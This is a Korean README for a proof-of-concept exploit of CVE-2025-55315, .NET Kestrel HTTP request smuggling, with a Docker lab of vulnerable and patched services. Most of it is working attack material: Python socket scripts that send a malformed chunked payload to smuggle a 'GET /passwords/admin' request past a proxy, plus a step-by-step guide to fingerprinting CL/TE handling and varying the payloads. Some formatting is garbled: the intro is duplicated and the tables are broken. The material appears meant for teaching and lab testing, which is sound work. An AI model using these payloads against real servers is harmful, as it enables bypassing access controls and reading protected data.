
CVE-2025-55315(.NET HTTP 요청 스머글링)에 대한 개념 증명 익스플로잇입니다. 잘못 파싱된 청크 인코딩이 취약한 ASP.NET Core/Kestrel 서버에서 공격자가 프록시와 로드 밸런서를 우회하여 요청을 밀반입할 수 있게 하는 방식을 보여줍니다.
CVE-2025-55315 (.NET HTTP 요청 스머글링)에 대한 개념 증명 익스플로잇입니다. 취약한 ASP.NET Core/Kestrel 서버에서 청크 인코딩이 제대로 파싱되지 않아 공격자가 프록시와 로드 밸런서를 우회하여 요청을 밀반입할 수 있는 방법을 보여줍니다.
🎥 위 배지를 클릭하여 Prezi에서 전체 대화형 프레젠테이션을 확인하세요
Dockerfile.vulnerable - .NET 10.0.100-rc.1 사용 (CVE-2025-55315에 취약)Dockerfile.patched - .NET 10.0.100 사용 (패치 버전)참고: 취약점은 .NET 런타임의 HTTP 파서(Kestrel)에 있으며, 애플리케이션 코드에 있는 것이 아닙니다. 두 버전 모두 동일한 소스 코드를 사용하지만 .NET 런타임 버전이 다릅니다.
# 모든 서비스 빌드 및 실행
docker-compose up --build
# 서비스 접속
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (익스플로잇): http://localhost:5027
# YARP Proxy (로드 밸런싱): http://localhost:5028
자세한 Docker 사용법은 DOCKER.md를 참조하세요.
Python 프록시는 Content-Length를 Transfer-Encoding보다 우선시하여 CVE-2025-55315를 보여줍니다. 이를 통해 HTTP 요청 스머글링이 가능해집니다:
payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5027\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"2;\n"
"xx\r\n"
"39\r\n"
"0\r\n"
"\r\n"
"GET /passwords/admin HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"\r\n"
"0\r\n"
"\r\n"
)
import socket
import time
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5027))
s.sendall(payload.encode())
# 사용 가능한 모든 데이터 읽기
s.settimeout(2.0)
responses = b''
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
responses += chunk
except socket.timeout:
pass
print("=== 전체 응답 ===")
print(responses.decode('utf-8', errors='ignore'))
print("\n=== 밀반입된 요청 응답 확인 ===")
if b'/passwords/admin' in responses or b'admin' in responses:
print("✓ /passwords/admin 요청 밀반입 성공!")
else:
print("✗ 익스플로잇 실패 또는 차단됨")
이 페이로드는 프록시의 보안 검사를 우회하여 /passwords/admin에 대한 두 번째 요청을 밀반입합니다. 프록시와 백엔드 서버가 요청을 다르게 파싱하는 차이점을 이용합니다.
다음은 프록시와 백엔드 서버가 동일한 페이로드를 다르게 해석하는 방식을 보여줍니다:
|
프록시 해석 (
|
백엔드 해석 (
|
주요 차이점:
| 구성 요소 | 청크 크기 2;\n | 읽은 바이트 수 | 결과 |
|---|---|---|---|
| 프록시 | ✅ 유효한 청크 크기 | 2바이트 (xx) | 2;\n을 완전한 청크 헤더로 처리, 2바이트 읽고 다음 청크로 진행 |
| 백엔드 | ❌ 잘못된 줄 종결자 | 여전히 2바이트 청크로 읽음 | 청크 헤더가 xx\r\n까지 끝나지 않으므로 39가 청크 본문이 되고 0이 청크를 종료 |
자세한 설명:
2;\n을 유효한 청크 크기 선언(2바이트)으로 허용 → xx를 2바이트 청크 본문으로 읽음 → 다음 청크(39)로 이동\n을 줄 종결자로 거부 → 청크 크기는 여전히 2이지만 헤더가 2;\nxx\r\n까지 확장 → 39를 청크 본문의 일부로 읽음 → 0\r\n이 청크를 종료GET /passwords/admin 요청이 백엔드가 청크 데이터로 처리하는 부분에 숨겨져 있지만, 청크 처리가 완료된 후 별도의 요청으로 파싱됨밀반입된 GET /passwords/admin 요청은 프록시가 청크 본문 데이터로 생각하는 부분에 숨겨져 있지만, 백엔드는 이를 별도의 HTTP 요청으로 파싱합니다.
익스플로잇 전에 각 구성 요소가 어떤 HTTP 헤더(Content-Length 또는 Transfer-Encoding)를 우선시하는지 식별해야 합니다. 다음은 단계별 가이드입니다:
Content-Length와 Transfer-Encoding: chunked 헤더를 모두 포함한 요청을 보내 각 구성 요소가 어떤 것을 따르는지 확인합니다:
POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n
분석:
Content-Length 우선Transfer-Encoding 우선아키텍처의 모든 구성 요소를 테스트하여 차이점을 찾습니다:
# Python 사용
import socket
test_payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"Transfer-Encoding: chunked\r\n"
"Content-Length: 2\r\n"
"\r\n"
"6\r\n"
"Fabian\r\n"
"0\r\n"
"\r\n"
)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5001))
s.sendall(test_payload.encode())
s.settimeout(1.0)
try:
response = s.recv(4096)
print("Unsafe API 응답:", response.decode('utf-8', errors='ignore'))
except socket.timeout:
pass
# 포트를 5002로 변경하고 테스트
# Safe API는 충돌을 적절히 처리해야 함
# 포트를 5027로 변경
# Python 프록시는 Content-Length를 우선시 (취약)
# 포트를 5028로 변경
# YARP가 헤더 충돌을 어떻게 처리하는지 테스트
/passwords에 대한 일반 POST 요청 캡처Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n
다음을 식별한 후:
Content-Length 우선 (N바이트만 읽음)Transfer-Encoding 우선 (청크 본문 읽음)프록시는 보지 못하지만 백엔드가 처리하는 두 번째 요청을 밀반입할 수 있습니다.
전체 익스플로잇 페이로드(위 "익스플로잇 데모" 섹션 참조)를 실행하고 다음을 확인:
socket: 정확한 HTTP 포맷을 위한 저수준 제어--data-binary 옵션의 curl: 빠른 명령줄 테스트익스플로잇은 여러 방식으로 제작할 수 있습니다. 다양한 접근 방식으로 실험해 보세요:
# Content-Length를 추가하여 역동기화를 명시적으로 만듦
payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5027\r\n"
"Content-Length: 75\r\n"
"Transfer-Encoding: chunked\r\n"
# ... 나머지 페이로드
)
\n을 유효한 줄 종결자로 허용 → 2;\n을 청크 크기로 처리 → 2바이트(xx) 읽음\n 거부 → 청크 헤더가 2;\nxx\r\n까지 확장 → 39가 청크 본문이 됨 → 0\r\n이 청크 종료PythonProxy/proxy_server.py를 수정하여 다양한 역동기화 시나리오 시도:
\n vs \r\n처럼) 다르게 파싱다음과 함께 실험: